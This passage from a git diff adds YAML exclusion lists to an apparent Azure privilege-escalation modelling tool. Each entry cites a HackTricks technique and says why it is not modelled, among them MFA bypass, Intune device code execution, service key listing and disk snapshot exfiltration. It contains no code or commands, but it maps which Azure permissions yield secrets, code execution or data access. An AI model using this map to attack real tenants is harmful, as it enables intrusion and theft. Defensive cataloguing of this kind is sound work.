the resulting AU-scoped holders are evaluated by the reset entries through entra_role_assignment_scope_covers_target. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#custom-security-attributes-feeding-abac--dynamic-membership + technique: Custom security attributes satisfying dynamic group membership rules + source_revision: 171e422 + reason: REJECTED - Entra dynamic membership rules cannot reference custom security attributes (Microsoft documents CSAs as unsupported in dynamic rules), so this half of the heading is not a working path. The ABAC half is mapped as azure-entraid-custom-security-attribute-abac-dataplane / -scope-owner. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#az---conditional-access-policies--mfa-bypass + technique: Conditional Access / MFA bypass page + source_revision: 171e422 + reason: Whole page covers authentication-policy bypasses (device, location, client, legacy auth); they help use an identity already compromised and grant no new privilege. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-connect-health-abuse.md#az---entra-connect-health-abuse-microsoftadhybridhealthservice + technique: Entra Connect Health abuse page + source_revision: 171e422 + reason: Sign-in log forgery, on-prem AgentKey theft and hybrid recon; no privilege gain over tenant principals (the reader AgentKey path was remediated by Microsoft). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md#az---dynamic-groups-privesc + technique: Dynamic groups page introduction + source_revision: 171e422 + reason: Introductory text; the privesc heading is modelled in azure-entraid-dynamic-group-attribute-control. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entra-id-governance-privesc.md#entra-id-governance + technique: Entra ID Governance introduction + source_revision: 171e422 + reason: Introductory text. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entra-id-governance-privesc.md#entitlement-management-overview + technique: Entitlement management overview + source_revision: 171e422 + reason: Explanatory text. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-pim-privesc.md#privileged-identity-management-pim + technique: PIM introduction + source_revision: 171e422 + reason: Introductory text. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-pim-privesc.md#weaken-the-activation-gate + technique: Weaken the PIM activation policy + source_revision: 171e422 + reason: Enabler (roleManagementPolicies write / RoleManagementPolicy.ReadWrite.*); removes approval or MFA but the privilege is still gained through eligibility, modelled in azure-entraid-pim-eligible-role-activation. Azure RBAC policy write belongs to the authorization catalog. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-pim-privesc.md#making-yourself-eligible-persistence-adjacent + technique: Create an eligible assignment for yourself + source_revision: 171e422 + reason: Needs the same rights as an active assignment (Privileged Role Administrator / RoleManagement.ReadWrite.Directory, or Azure RBAC Owner/User Access Administrator), already modelled as direct edges; eligibility is persistence. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-intune-privesc.md#az---intune-privesc + technique: Intune device-plane code execution (platform scripts, macOS shell scripts, Win32 apps, compliance tampering, PAW token theft) + source_revision: 171e422 + reason: Intune Administrator / DeviceManagementScripts.ReadWrite.All / DeviceManagementConfiguration.ReadWrite.All / DeviceManagementApps.ReadWrite.All give SYSTEM/root code execution on managed devices; there is no device target kind and device-to-user sign-in facts are not collected. Schema gap, proposed target kind entra_managed_device. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-pim-privesc.md#activate-an-eligible-role-in-model-jit-self-elevation + technique: BloodHound AZRoleApprover (approver -> role) + source_revision: 171e422 + reason: 'The approver does not gain the role: approvers cannot approve their own activation and service principals cannot approve (pim-approval-workflow). It only lifts pim_approval_required_by_other_principal on azure-entraid-pim-eligible-role-activation when the source also controls a different eligible user; documented there.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#sensitive-graph-permissions + technique: BloodHound AZMGServicePrincipalEndpoint_ReadWrite_All + source_revision: 171e422 + reason: Microsoft documents ServicePrincipalEndpoint.ReadWrite.All only as updating service principal endpoints, and the servicePrincipal owners/addPassword/update APIs do not list it; BloodHound marks the edge itself not abusable and post-processes it into AZMGAddOwner on every service principal without Microsoft documentation backing. Not modelled until verified. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac.yaml new file mode 100644 index 0000000000..9a79654fac --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac.yaml @@ -0,0 +1,858 @@ +# Azure resource-plane (ARM/RBAC) HackTricks techniques reviewed and intentionally NOT modelled as +# principal -> principal privilege-escalation edges. Source rev a53b46392c. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#kubernetes-rbac-operations + technique: AKS namespace RoleBinding self-grant and bound ClusterRole escalation variants + reason: "NEEDS SCHEMA: rolebindings/write plus clusterroles/bind grants only the named namespace's effective permissions, not cluster-admin. clusterroles/write plus clusterroles/escalate reaches the source only if the exact edited ClusterRole is already bound to that source. A resource-to-subject binding and resulting permission delta must be proved before either becomes an active edge. The cluster-scoped cluster-admin ClusterRoleBinding variant remains active." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#kubernetes-rbac-operations + technique: AKS user or ServiceAccount impersonation without a proven admin-bound subject + reason: "NEEDS SCHEMA: users/impersonate or serviceaccounts/impersonate reaches cluster-admin only for an exact existing admin-bound subject that the source can impersonate. The current target selector has no subject-to-binding join. The groups/impersonate system:masters variant remains active." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#permission-first-role-discovery + technique: Permission-first role discovery + reason: Enumeration guidance only; no privilege gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#microsoftmanagementmanagementgroupswrite + technique: Microsoft.Management/managementGroups/write + reason: Creating or re-parenting management groups changes inherited policy/RBAC, but per Microsoft docs moving an MG/subscription also requires Owner-equivalent (roleAssignments/write) on the child, which already yields scope ownership; no additional edge. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#microsoftmanagementmanagementgroupssubscriptionswrite + technique: Microsoft.Management/managementGroups/subscriptions/write + reason: Subscription move requires Owner on the subscription (roleAssignments/write) plus MG write on source/target parents; the resulting gain is already covered by azure-authorization-roleassignments-write. Main effect is policy evasion. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-automation-accounts-post-exploitation.md#microsoftautomationautomationaccountsjobsstreamsread + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: Microsoft.Automation/automationAccounts/jobs/streams/read + reason: Data read of historical job output; any secret exposure is content-dependent (Exposure/Least Privilege). +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-automation-accounts-post-exploitation.md#microsoftautomationautomationaccountsvariablesread + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: Microsoft.Automation/automationAccounts/variables/read + reason: Data read of unencrypted variables only (encrypted values return null); content-dependent exposure. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#hybrid-workers-group + technique: From a compromised Hybrid Worker VM to the Automation account identity + reason: Requires OS-level local admin on the worker during a running job (host compromise), not an RBAC permission. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#automation---malicious-python-packages + technique: Overwrite custom runtime environment / Python packages + reason: At rev 171e422 runbook-side package use is covered by azure-automation-runbook-author-and-run. No grantable RBAC action documented (runtimeEnvironments/packages/write is rejected in custom roles per the same page); classic module/Python package route is modelled as azure-automation-poison-module-or-package. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinesread-microsoftcomputevirtualmachineswrite-microsoftcomputedisksread-microsoftcomputediskswrite + technique: Attach a managed disk to a VM (disks read/write + virtualMachines write) + reason: Offline data access to disk contents; any credential found is content-dependent (Exposure). No identity is obtained by the operation itself. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#managed-disk-snapshot-and-restore-point-sas-exfiltration + technique: disks/snapshots/diskRestorePoints beginGetAccess SAS exfiltration + reason: Data exfiltration of VHD contents; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftnetworkvpnserverconfigurationslistallradiusserverssecretsaction + technique: Microsoft.Network/vpnServerConfigurations/listAllRadiusServersSecrets/action + reason: Network trust secret (RADIUS shared secret); network pivot without a new Azure identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftnetworkvirtualnetworkgatewayslistallradiusserverssecretsaction + technique: Microsoft.Network/virtualNetworkGateways/listAllRadiusServersSecrets/action + reason: Network trust secret; network pivot without a new Azure identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftnetworkconnectionssharedkeyaction-microsoftnetworkconnectionssharedkeyread + technique: Microsoft.Network/connections/sharedKey read + reason: VPN pre-shared key disclosure; network pivot without a new Azure identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesfunctionslistkeysaction-and-microsoftwebsitesslotsfunctionslistkeysaction + technique: Function key listing (functions/listkeys, slots variant) + reason: A function key only authorizes invoking one function; no code execution or identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesfunctionskeyswrite-and-microsoftwebsitesslotsfunctionskeyswrite + technique: Function key write (functions/keys/write, slots variant) + reason: Invocation-only credential; impact depends on existing function behaviour. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesfunctionslistsecretsaction-and-microsoftwebsitesslotsfunctionslistsecretsaction + technique: functions/listsecrets + reason: Returns a trigger URL/function key; invocation only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsiteshostfunctionkeyswrite-and-microsoftwebsitesslotshostfunctionkeyswrite + technique: Host function key write + reason: Not a master key; authorizes invoking functions only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsiteshostsystemkeyswrite-and-microsoftwebsitesslotshostsystemkeyswrite + technique: Host system key write + reason: Authorizes extension webhooks only; invocation of existing code. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsiteshostruntimevfsread + technique: hostruntime/vfs/read + reason: Source code read only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesconfigwrite + technique: Enable/disable functions via config/write + reason: Toggling functions alone is not an identity gain; config/write is modelled as azure-appservice-config-write. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitespublishxmlaction-microsoftwebsitesbasicpublishingcredentialspolicieswrite + technique: Microsoft.Web/publishingUsers/write (user-scope deployment credentials) + reason: User-scope credentials only work on apps where the principal already has deployment authorization; no new gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#start-existing-webjobs + technique: triggeredwebjobs/run, continuouswebjobs/start + reason: Runs existing code without attacker input; impact is behaviour-dependent, not an identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsiteshybridconnectionnamespacesrelayslistkeysaction + technique: Hybrid connection relay listKeys + reason: 'NEEDS SCHEMA: a Relay sender key can authenticate a bounded Relay sender identity, but the exact rule, usable key, allowed send operation, and prior-absence proof are not verified.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#read-configured-third-party-credentials + technique: Read third-party source-control tokens + reason: 'NEEDS SCHEMA: returned GitHub or Bitbucket tokens can confer external repository authority, but the target account, usable token, granted repository permissions, and prior-absence proof are not collected.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#update-app-code-from-the-source + technique: Update app code via configured repository + reason: Requires compromise of an external repository; RBAC-derived SCM credential path is modelled in app_services.yaml. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#storage-backed-external-function-packages + technique: Storage-backed external Function packages + reason: 'NEEDS SCHEMA: exact Function App to content storage binding, code overwrite, and identity execution are uncollected.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-log-analytics-privesc.md#log-analytics + technique: Page intro; workspace shared keys (listKeys/sharedKeys/regenerateSharedKey, no longer a separate heading at 171e422) + reason: Introductory section; shared keys only allow log ingestion/poisoning and disruption, no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-quantum-privesc.md#workspace-api-key-disclosure-and-regeneration + technique: Quantum workspace listKeys/regenerateKey + reason: "NEEDS SCHEMA: Exact workspace key identity, usable credential, and newly permitted job action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-purview-privesc.md#microsoftpurviewaccountslistkeysaction + technique: Purview listkeys (Atlas Kafka Event Hubs) + reason: Event injection/read on metadata pipeline; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-redis-privesc.md#microsoftcacheredislistkeysaction + technique: Redis listKeys / Managed Redis listKeys/regenerateKey + reason: "NEEDS SCHEMA: bind the returned classic Redis key to the exact cache/default user, enabled key auth, successful data-plane authentication, and commands newly available to the caller." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-fluid-relay-privesc.md#server-tenant-key-disclosure-and-regeneration + technique: Fluid Relay listKeys/regenerateKey + reason: "NEEDS SCHEMA: Exact Fluid tenant/subject, usable key-derived token, and new application permission must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-relay-privesc.md#relay-sas-key-disclosure + technique: Relay authorization rule listkeys/regenerateKeys + reason: "NEEDS SCHEMA: Exact relay authorization rule, usable SAS key, and newly permitted send/listen action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md#microsoftdesktopvirtualizationhostpoolsretrieveregistrationtokenaction + technique: AVD host pool registration token + reason: "NEEDS SCHEMA: Exact compliant session host, named session principal, observed credential/session capture, and newly authorized action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md#microsoftauthorizationroleassignmentsread-microsoftauthorizationroleassignmentswrite + technique: Assign Desktop Virtualization User via roleAssignments/write + reason: 'NEEDS SCHEMA: exact ABAC constraint, successful role assignment, and newly effective action are uncollected.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-deployment-privesc.md#read-declared-outputs-and-execution-logs + technique: deploymentScripts read / logs read + reason: Data read of outputs/logs; content-dependent exposure. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-template-spec-privesc.md#related-actions + technique: templateSpecs write/read/delete, deploymentStacks write + reason: Read/delete are exposure/DoS; deploymentStacks write is not a standalone escalation per the page. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sre-agent-privesc.md#microsoftappagentslistsecretsaction + technique: SRE Agent listSecrets + reason: Credential disclosure with unestablished downstream use (page says impact unpromoted). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sre-agent-privesc.md#microsoftappagentsdataconnectorslistsecretsaction + technique: SRE Agent data connector listSecrets + reason: 'NEEDS SCHEMA: returned connector secrets may authenticate a downstream identity, but exact subject, usable credential, newly permitted action, and prior-absence proof are not verified.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-notification-hubs-privesc.md#shared-access-keys + technique: Notification Hubs authorization rule listkeys/regenerateKeys + reason: "NEEDS SCHEMA: Exact hub authorization rule, usable key, and newly permitted send/listen/manage action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-notification-hubs-privesc.md#platform-notification-service-credentials + technique: Notification Hubs pnsCredentials + reason: "NEEDS SCHEMA: Exact third-party push service subject, usable credential, and newly permitted push action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-maps-privesc.md#microsoftmapsaccountslistkeysaction + technique: Maps listKeys / regenerateKey + reason: Maps data-plane shared key; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-digital-twins-privesc.md#microsoftdigitaltwinsdigitaltwinswrite + technique: Digital Twins query/read/write/relationships + reason: Graph data read/write; write is a second-order, consumer-dependent effect without a modelable identity edge. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md#microsoftdbformysqlflexibleserversread-microsoftdbformysqlflexibleserverswrite-microsoftdbformysqlflexibleserversbackupsread + technique: MySQL restore from backup + reason: Copies data into a new server; data access only (password reset path modelled separately). +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-attestation-post-exploitation.md#microsoftattestationattestationprovidersattestationwrite + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: Attestation policy write + reason: Subverts trust decisions of relying workloads; no direct identity gain modelable from RBAC. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-speech-services-post-exploitation.md#batch-transcription-content-disclosure + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: Speech transcription read + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-video-indexer-privesc.md#account-access-token--private-media-readwrite + technique: Video Indexer generateAccessToken / generateRestrictedViewerAccessToken + reason: "NEEDS SCHEMA: Exact Video Indexer account subject, token role, and newly permitted media action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-search-privesc.md#blind-source-replacement-with-microsoftsearchsearchservicesdatasourceswrite + technique: AI Search dataSources/write source replacement + reason: Data exfiltration through the Search identity; no identity gain for the source. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-search-privesc.md#blind-indexer-creation-with-microsoftsearchsearchservicesindexerswrite + technique: AI Search indexers/write + reason: Data exfiltration through the Search identity; no identity gain for the source. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-monitor-privesc.md#microsoftinsightsactiongroupsread + technique: Action group receiver URIs read + reason: "NEEDS SCHEMA: Exact signed callback, target automation identity, attacker-controlled invocation, and newly permitted action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-monitor-privesc.md#microsoftinsightswebtestsread + technique: Availability web test definition read + reason: "NEEDS SCHEMA: Exact credential in the stored request, its subject, usability, and newly permitted action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-monitor-privesc.md#microsoftinsightscomponentsapikeysaction + technique: Application Insights API key creation + reason: "NEEDS SCHEMA: Exact Application Insights key scope and newly permitted telemetry action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-monitor-privesc.md#microsoftinsightsgeneratelivetokenread + technique: Live Metrics token + reason: "NEEDS SCHEMA: Exact Live Metrics token scope and newly permitted stream action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md#queue-storage + technique: Page intro; queue message peek/get + reason: Introductory section; message reads are data access. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md#queue + technique: Queue data actions (message read/add/update, queue create/metadata write) + reason: Data access and disruption; the only escalation is through a downstream consumer, mapped as azure-queue-message-injection-consumer (#conditional-escalation-through-a-downstream-consumer). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-communication-services-privesc.md#microsoftcommunicationcommunicationserviceswrite + technique: ACS identity token minting via CommunicationServices/Write + reason: "NEEDS SCHEMA: Exact ACS communication identity and newly authorized service action after the write must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-communication-services-privesc.md#microsoftcommunicationcommunicationserviceslistkeysaction + technique: ACS ListKeys / RegenerateKey + reason: "NEEDS SCHEMA: Exact ACS service/key identity, usable key authority, and additional permitted action must be verified." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-stream-analytics-post-exploitation.md#sample-private-input-events + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: Stream Analytics input sampling + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-stream-analytics-post-exploitation.md#redirect-a-running-jobs-output-sink-with-stop--outputswrite--start + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: Stream Analytics output redirection + reason: Data exfiltration; no identity gain. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-batch-post-exploitation.md#read-plaintext-job-and-schedule-configuration + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: Batch job/schedule configuration read + reason: Data read of configuration of unknown content. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspacesonlineendpointstokenaction + technique: Online endpoint AML token + reason: Scoring access to one endpoint; data/cost impact only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspacesserverlessendpointslistkeysaction + technique: Serverless endpoint listKeys + reason: Inference keys; data/cost impact only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#azure-ml-v1-environment-registry-credentials + technique: Azure ML V1 environment registry credentials + reason: Registry credential disclosure; image poisoning is second-order. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#stored-azure-openai-response-disclosure + technique: Stored Azure OpenAI responses + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#foundry-project-response-disclosure-through-aiservicesagentsread + technique: Foundry agents/read response disclosure + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftcognitiveservicesaccountslistkeysaction--microsoftcognitiveservicesaccountsregeneratekeyaction + technique: Cognitive Services listKeys / regenerateKey + reason: Service API keys; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftsearchsearchservicesindexesdocumentsread--microsoftsearchsearchservicesindexescontentsecurityelevatedoperationsread + technique: AI Search elevated read + reason: Data read bypassing document ACLs. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftsearchsearchservicesskillsetswrite + technique: AI Search skillsets/write + reason: 'NEEDS SCHEMA: exact Search skill/indexer execution, audience-bound token receipt, and new permission are uncollected.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftsearchsearchserviceslistquerykeysaction--microsoftsearchsearchservicescreatequerykeyaction + technique: AI Search query keys + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#data-asset-metadata-permissions-are-not-standalone-poisoning + technique: ML data asset metadata writes + reason: Page states not a standalone primitive. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftcontainerinstancecontainergroupsrestartaction-microsoftcontainerinstancecontainergroupsstartaction + technique: ACI restart/start + reason: 'Replays unchanged startup; no attacker-controlled code (page: Medium).' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappcontainerappsrevisionsactivateaction-microsoftappcontainerappsrevisionsrestartaction-microsoftappcontainerappsstartaction + technique: Container App revision activate/restart/start + reason: Runs existing code only; no attacker-controlled code. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappsessionpoolsfilescontentread + technique: Session pool file read + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappsandboxgroupssandboxesexecutecommandaction-and-microsoftappsandboxgroupssandboxesexecuteshellcommandaction + technique: ACA Sandbox command execution + reason: Code execution in isolated sandbox; page does not state a managed identity is reachable. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappsandboxgroupssandboxesfilesread + technique: ACA Sandbox file read + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappbuildslistauthtokenaction + technique: Container Apps build auth token + reason: Page states impact not demonstrated; conditional and not modelable. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceuserstokenaction + technique: APIM developer-portal user SSO token + reason: 'The broad historical portal-token entry had no exact user or usable-token proof. A separate typed variant now requires the exact portal subject, prior denial, and newly allowed action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementservicesubscriptionsread--microsoftapimanagementservicesubscriptionslistsecretsaction + technique: APIM subscription keys + reason: API access keys; data access only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceapikeyslistsecretsaction + technique: AI Gateway API keys + reason: Gateway runtime keys; configuration-dependent data access. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceworkspacestoolserverslistsecretsaction + technique: Tool Server secrets + reason: External credentials of unknown content. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceportalconfigslistdelegationsecretsaction-and-microsoftapimanagementserviceportalsettingslistsecretsaction + technique: Portal delegation keys + reason: 'NEEDS SCHEMA: delegation secrets can forge a portal user, but the exact forged subject, usable delegated credential, and newly permitted action are not verified.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceportalconfigslistmediacontentsecretsaction-and-microsoftapimanagementserviceportalsettingslistsecretsaction + technique: Portal media SAS + reason: Portal media data access. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementservicebackendsread + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: Backend credentials read + reason: Stored header credentials of unknown content; data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementservicetenantlistsecretsaction + technique: Tenant access keys + reason: APIM direct management API only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementservicegatewaysgeneratetokenaction + technique: Self-hosted gateway token + reason: Gateway configuration access only. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#policy-read-permissions + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: Policy read + reason: Data read of embedded values. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#jwt-validation-misconfiguration + technique: JWT validation misconfiguration + reason: Application-level misconfiguration; not an RBAC edge. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementserviceapplynetworkconfigurationupdatesaction + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: Network configuration updates + reason: Network exposure change only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-bot-service-privesc.md#microsoftbotservicebotserviceschannelslistchannelwithkeysaction + technique: Bot channel keys + reason: "NEEDS SCHEMA: prove the exact Direct Line channel secret authenticates a concrete bot client identity with effective access beyond the caller." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-bot-service-privesc.md#microsoftbotservicebotserviceschannelsregeneratekeysaction + technique: Bot channel key regeneration + reason: "NEEDS SCHEMA: prove the exact rotated channel secret authenticates a concrete bot client identity with new effective access; rotation alone is not escalation." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-bot-service-privesc.md#microsofthealthbothealthbotslistsecretsaction + technique: Health Bot secrets + reason: "NEEDS SCHEMA: prove the returned secret authenticates a concrete Healthcare Agent management identity and grants effective access beyond the caller." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-bot-service-privesc.md#microsofthealthbothealthbotsadminsecretsgenerateapikeyaction + technique: Health Bot API key generation + reason: "NEEDS SCHEMA: prove the generated API key authenticates a concrete Healthcare Agent management identity and grants effective access beyond the caller." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriesrunslistlogsasurlaction + technique: ACR run log SAS + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriestaskslistdetailsaction-microsoftcontainerregistryregistriestaskrunslistdetailsaction + technique: ACR task listDetails + reason: Secret read of unknown content. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistrieswebhooksgetcallbackconfigaction + technique: ACR webhook callback config + reason: Callback secret read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftdocumentdbdatabaseaccountslistkeysaction + technique: Cosmos DB listKeys + reason: Data-plane key; data access. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftdocumentdbdatabaseaccountslistconnectionstringsaction + technique: Cosmos DB listConnectionStrings + reason: Data-plane key; data access. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftdocumentdbdatabaseaccountsreadonlykeysaction + technique: Cosmos DB read-only keys + reason: Data read. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftinferenceserviceinferenceaccountslistkeysaction + technique: Inference account listKeys / regenerateKeys / invoke + reason: Billed inference access only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftdocumentdbmongoclustersread--microsoftdocumentdbmongoclustersfirewallruleswrite + technique: MongoDB cluster firewall rules write + reason: Network exposure only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#microsoftdatafactoryfactoriespipelinescreaterunaction + technique: Run an existing pipeline + reason: No attacker-controlled code; existing pipeline behaviour only. +- source: 